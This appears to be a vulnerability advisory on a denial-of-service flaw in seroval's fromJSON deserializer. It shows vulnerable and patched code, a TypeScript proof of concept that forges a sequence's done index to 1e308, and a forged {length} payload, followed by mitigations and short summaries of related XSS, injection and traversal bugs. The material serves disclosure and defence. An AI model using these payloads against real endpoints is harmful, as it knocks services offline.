Oct 29, 2026·10 min read·2 visits
Versions of the `seroval` npm package prior to 1.6.8 do not validate array node lists or sequence boundary indices (`node.s` and `node.l`) during JSON deserialization. Consuming a deserialized sequence with a crafted index triggers an infinite loop or memory exhaustion, freezing the Node.js, Deno, or Bun event loop. Upgrade to `seroval@1.6.8` to resolve this issue.
Seroval, a JavaScript serialization library used for transferring complex structures across network boundaries, contains an input validation vulnerability in versions prior to 1.6.8. The `fromJSON` and `fromCrossJSON` deserializers fail to validate array element lists and the termination boundaries (`done` and `throw` indices) of sequence nodes. By supplying out-of-bounds indices or forged array-like structures, an unauthenticated remote attacker can construct an iterator with an unreachable exit condition or trigger excessive loop iterations, halting the single-threaded JavaScript event loop and causing a denial of service.
seroval is a JavaScript serialization library designed for isomorphic JavaScript and TypeScript frameworks, including SolidJS, SolidStart, Svelte, and Fastify plugins. Unlike native JSON.stringify and JSON.parse, seroval supports complex data structures such as Promise instances, RegExp, Map, Set, cyclic object references, AsyncIterable, and synchronous Iterable or generator sequences. When used on server-side endpoints—such as Remote Procedure Call (RPC) handlers or server-side hydration interfaces—applications invoke fromJSON or fromCrossJSON to reconstruct serialized JavaScript values transmitted by clients.
In seroval versions prior to 1.6.8, the deserialization engine fails to validate structural metadata on collection and sequence nodes before constructing their corresponding runtime objects. Specifically, the deserializeSequence routine trusts the sequence throw index (node.s) and sequence completion index (node.l, representing doneAt) directly from the untrusted JSON payload without verifying their data types or numeric ranges. Furthermore, collection deserializers (Array, Set, Map, StreamConstructor, and Sequence) do not verify that the node element list (node.a) is an actual JavaScript array.
This vulnerability is classified under CWE-835 (Loop with Unreachable Exit Condition) and CWE-1284 (Improper Validation of Specified Quantity in Input). When an application deserializes a crafted payload via fromJSON or fromCrossJSON and iterates over the resulting sequence—or when the deserializer itself iterates over a forged { length: N } object—the runtime enters a non-terminating or excessively long synchronous loop. Because JavaScript runtimes (Node.js, Bun, Deno) operate on a single-threaded event loop, this condition starves all concurrent I/O operations and renders the service unresponsive to subsequent requests.
To represent iterables and generator outputs across process boundaries, seroval encodes sequence values into an internal abstract syntax tree (AST) node format designated as SerovalNodeType.Sequence (type 35). A serialized SerovalSequenceNode contains several properties: t (the integer node type 35), i (the reference ID), a (the array of serialized child elements yielded by the sequence), s (the index at which the sequence throws an exception, or -1 if none), and l (the doneAt index indicating when iteration completes).
During deserialization, deserializeSequence calls createSequence([], node.s, node.l) to instantiate a Sequence object, and then populates its internal buffer by iterating over node.a. When downstream application code consumes the resulting iterator via Symbol.iterator (for example, using for..of, Array.from(), or array spread syntax [...seq]), the iterator implementation increments an internal cursor and compares it against the doneAt index (node.l) to determine whether to return { value: undefined, done: true }.
Prior to version 1.6.8, deserializeSequence performed no validation on node.s or node.l. If an attacker sets node.l to a value outside the valid range of indices for node.a—such as 1e308, a negative number less than -1, or a non-numeric string like 'x'—the iterator's termination condition becomes unreachable or fails to evaluate as true within the bounds of the elements array. In the case of a large integer like 1e308, the consumer loop continuously yields undefined for every index beyond node.a.length until 1e308 is reached or process memory is exhausted.
A secondary root cause exists in how collection deserializers handle the node.a property. Instead of verifying Array.isArray(node.a), the deserializer directly accessed node.a.length in for (let i = 0, len = node.a.length; i < len; i++). In JavaScript, JSON objects parsed via JSON.parse can be plain objects containing a length property, such as {"length": 200000000}. Passing such an object as node.a forces the deserializer to allocate and iterate hundreds of millions of times on a few bytes of input data, blocking the event loop before deserialization even returns.
The primary flaw in sequence index validation resides in packages/seroval/src/core/context/deserializer.ts. In versions prior to 1.6.8, deserializeSequence directly passed node.s and node.l to createSequence without checking their bounds against node.a.length.
// Vulnerable implementation prior to 1.6.8
function deserializeSequence(
ctx: DeserializerContext,
depth: number,
node: SerovalSequenceNode,
): Sequence {
const result = assignIndexedValue(
ctx,
node.i,
// FLAW 1: node.s and node.l are passed directly without type or range validation
createSequence([], node.s, node.l),
);
assignNodeType(ctx, node.i, SerovalNodeType.Sequence);
// FLAW 2: node.a is not checked with Array.isArray() before accessing .length
for (let i = 0, len = node.a.length; i < len; i++) {
result.v[i] = deserialize(ctx, depth, node.a[i]);
}
return result;
}The remediation was implemented across two commits: cdcee3e3bc384ee844360844f8ea98fd2b275d69 and e176f9267e59ddd6c9de89cc9fe85c5b37a5b728. Commit cdcee3e3bc384ee844360844f8ea98fd2b275d69 introduced validateNodeList(node, node.a) to ensure node.a is a genuine JavaScript Array before reading its length. Commit e176f9267e59ddd6c9de89cc9fe85c5b37a5b728 added isSequenceIndex and moved validateNodeList to the beginning of deserializeSequence.
// Patched implementation in 1.6.8
function isSequenceIndex(value: unknown, size: number): boolean {
return (
// Ensures value is a safe integer within [-1, size - 1]
Number.isInteger(value) && (value as number) >= -1 && (value as number) < size
);
}
function deserializeSequence(
ctx: DeserializerContext,
depth: number,
node: SerovalSequenceNode,
): Sequence {
// Verify node.a is an actual Array via Array.isArray(node.a)
validateNodeList(node, node.a);
// The iterator stops only when its index passes the done index, so both
// indices must be integers within the list.
const size = node.a.length;
if (!(isSequenceIndex(node.s, size) && isSequenceIndex(node.l, size))) {
throw new SerovalMalformedNodeError(node);
}
const result = assignIndexedValue(
ctx,
node.i,
createSequence([], node.s, node.l),
);
// Mark the id so an IteratorFactoryInstance can validate its source node type.
assignNodeType(ctx, node.i, SerovalNodeType.Sequence);
for (let i = 0; i < size; i++) {
result.v[i] = deserialize(ctx, depth, node.a[i]);
}
return result;
}> [!NOTE]
> Fix Completeness Assessment: The combination of validateNodeList and isSequenceIndex addresses both attack vectors. By enforcing Array.isArray(node.a) first, node.a.length is guaranteed to be a non-negative integer corresponding to the actual number of elements present in the payload. Subsequently, Number.isInteger(value) rejects NaN, Infinity, strings, and objects, while the range check value >= -1 && value < size guarantees that the iterator will terminate in at most size steps, bounded strictly by the physical payload size.
Exploiting CVE-2026-116581 requires no authentication or specialized privileges, provided the target application exposes an endpoint (such as an HTTP POST route or WebSocket listener) that passes client-supplied data into fromJSON or fromCrossJSON. Two distinct exploitation paths exist depending on whether the application actively consumes iterables or merely deserializes the payload.
doneAt ManipulationIf the backend application deserializes a payload and iterates over it (e.g., converting an incoming iterable structure into an array or iterating through its items), an attacker can serialize a standard generator object using toJSON, locate the SerovalNodeType.Sequence node (t: 35), and overwrite its l property with a large integer (1e308) or out-of-bounds index.
import { fromJSON, toJSON } from 'seroval';
function createIterable() {
return {
*[Symbol.iterator]() {
yield 1;
yield 2;
},
};
}
// 1. Generate valid Seroval AST JSON
const payload = toJSON(createIterable());
// 2. Locate the Sequence node (t === 35) and tamper with the 'l' (doneAt) field
function injectUnreachableDoneIndex(node: unknown, maliciousIndex: unknown): void {
const stack = [node];
while (stack.length > 0) {
const current = stack.pop() as Record<string, unknown> | undefined;
if (current && typeof current === 'object') {
if (current.t === 35) {
current.l = maliciousIndex;
return;
}
stack.push(...Object.values(current));
}
}
}
injectUnreachableDoneIndex(payload, 1e308);
// 3. Target server deserializes the tampered AST
const deserializedIterable = fromJSON<Iterable<number>>(payload);
// 4. Target application consumes the iterable, triggering an infinite loop
// and out-of-memory / event-loop freeze
const consumed = [...deserializedIterable];Even if the target application does not iterate over a returned Sequence, an attacker can trigger denial of service directly inside the fromJSON call prior to 1.6.8 by replacing an array node's a property with { "length": 100000000 }. When fromJSON executes for (let i = 0, len = node.a.length; i < len; i++), it attempts 100 million recursive deserialize calls on undefined elements, immediately locking the CPU thread.
The security impact of CVE-2026-116581 is confined to system availability, reflected in its CVSS v3.1 score of 7.5 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The vulnerability does not permit arbitrary code execution, memory corruption, or unauthorized data disclosure (C:N/I:N), as all operations remain within the memory-safe boundaries of the JavaScript engine.
In a server-side JavaScript environment (Node.js, Deno, or Bun), user code executes synchronously on a single main event-loop thread. When a request handler enters an unbounded synchronous loop—either during fromJSON execution via forged { length } objects or during iterator consumption via forged node.l indices—the thread cannot yield control back to the event loop.
Consequently, a single small HTTP request (under 200 bytes) can completely pin the worker process CPU core at 100% utilization. All other in-flight requests, health check probes, timers, and incoming TCP connections handled by that process are blocked indefinitely. Furthermore, if the consumer pushes yielded items into an array (such as [...iterator] or Array.from(iterator)), the loop rapidly allocates heap memory until the V8 engine terminates the process with a fatal JavaScript heap out of memory error.
At the time of analysis, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-116581 a probability score of 0.00451 (39.07th percentile), and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, any publicly accessible web application or RPC endpoint relying on seroval < 1.6.8 to parse client payloads is directly susceptible to trivial denial of service.
The primary remediation is to upgrade the seroval package to version 1.6.8 or later. Version 1.6.8 incorporates strict runtime validation via validateNodeList and isSequenceIndex, throwing a catchable SerovalMalformedNodeError immediately when encountering non-array a fields or out-of-bounds sequence indices.
# Upgrade using npm
npm install seroval@^1.6.8
# Upgrade using pnpm
pnpm update seroval
# Upgrade using yarn
yarn upgrade seroval@^1.6.8If seroval is included as a transitive dependency through meta-frameworks or RPC libraries (such as SolidStart or seroval-plugins), use package manager override mechanisms (overrides in package.json for npm, or resolutions for Yarn/pnpm) to force resolution to >=1.6.8 across the dependency tree, and verify the installed version using npm ls seroval.
For environments where an immediate dependency upgrade cannot be deployed, implement the following defensive measures:
fromJSON and fromCrossJSON are wrapped in try...catch blocks so that SerovalMalformedNodeError (post-patch) or schema validation errors return a 400 Bad Request response rather than crashing the process.fromJSON or fromCrossJSON. Reject any object node containing an a property where !Array.isArray(node.a), and reject any node with t === 35 where node.s or node.l are not integers within [-1, node.a.length - 1].CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
seroval lxsmnsyc | < 1.6.8 | 1.6.8 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-116581 / GHSA-97r2-qh9m-474h |
| Affected Package | seroval (npm) < 1.6.8 |
| Weakness Class | CWE-835 (Infinite Loop) / CWE-1284 (Improper Quantity Validation) |
| Attack Vector | Network (Unauthenticated JSON payload to fromJSON / fromCrossJSON) |
| CVSS v3.1 Score | 7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| EPSS Score | 0.45% (39.07th percentile) |
| Primary Impact | Single-threaded JavaScript event-loop freeze / Denial of Service |
| Patched Version | seroval@1.6.8 |
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
CVE-2026-116582 is an improper output escaping vulnerability in the Seroval JavaScript serialization library that leads to cross-site scripting (XSS). When Seroval serializes RegExp objects into executable JavaScript literals for embedding in HTML script elements, it fails to neutralize the less-than character ('<'). If an application constructs a regular expression from untrusted input and embeds the serialized output inside an inline script block during server-side rendering (SSR), an attacker can inject a closing script tag to break out of the JavaScript context and execute arbitrary client-side code.
CVE-2026-116583 (GHSA-f86p-h4j2-7qgj) is a code injection and cross-site scripting (XSS) vulnerability in Seroval, a JavaScript object serialization library. In versions 1.6.0 prior to 1.6.11, Seroval derives the constructor name of a TypedArray directly from the `current.constructor.name` property expression during serialization. If an attacker supplies untrusted properties that are merged onto a TypedArray instance, an own `constructor` property overrides the prototype property and gets emitted unescaped after the `new` keyword in the generated JavaScript output. Evaluating or rendering this output in a browser or JavaScript runtime results in arbitrary code execution.
An improper input validation and NoSQL query construction vulnerability exists in the Waline comment system server (@waline/vercel) version 1.40.3 and earlier. When MongoDB is used as the backend storage engine, the POST /api/token authentication endpoint fails to validate that the user-supplied email parameter is a string. Supplying a JSON object or array operator causes the MongoDB storage adapter to omit the email filter or construct an unintended match-all query, returning all user records and allowing unauthenticated attackers to target the site administrator account directly without knowing the administrator's email address.
An uncontrolled resource consumption vulnerability in the knative.dev/pkg/webhook package allows network-adjacent attackers within a Kubernetes cluster to trigger Out-Of-Memory (OOM) terminations of admission controller pods. The admission webhook HTTP server processes incoming AdmissionReview requests through an io.TeeReader and json.Decoder pipeline without enforcing an upper bound on request body size. Due to internal buffer reallocation mechanics, incoming payloads experience a 4.5x memory amplification factor. Because knative.dev/pkg provides the shared webhook server foundation for numerous cloud-native projects—including Knative Serving, Knative Eventing, Tekton, KEDA, Sigstore Policy Controller, and Kpack—exploitation can halt resource admission across entire Kubernetes clusters or bypass critical security validation policies.
CVE-2026-115923 (GHSA-w658-mh9p-ww8f) is a path traversal and access control bypass vulnerability in Spotify's Backstage developer portal framework, specifically within the @backstage/plugin-catalog-backend package. Prior to patched versions, DefaultCatalogRulesEnforcer evaluated user-supplied URL catalog locations against configured catalog.rules patterns using raw, uncanonicalized strings. Because downstream URL readers canonicalize URLs and resolve dot segments before fetching resources, an authenticated attacker with location registration permissions can supply percent-encoded traversal sequences (such as %2e%2e) to bypass location restrictions and register untrusted catalog entities.
CVE-2026-116576 (GHSA-3f7j-7jwc-fxfj) is an OS Command Injection vulnerability (CWE-78) in the Node.js systeminformation library prior to version 5.33.16 on Microsoft Windows. The services() API function dynamically constructs a PowerShell Get-CimInstance command using caller-supplied service names passed through sanitizeShellString(). While the sanitizer strips standard ASCII quotation marks, it permits Unicode typographic quotation marks (U+2018 through U+201E). Because the Windows PowerShell tokenizer recognizes Unicode quotation marks as valid string literal delimiters, an attacker who controls the service name input can break out of the CIM filter string and execute arbitrary PowerShell commands within the security context of the Node.js process.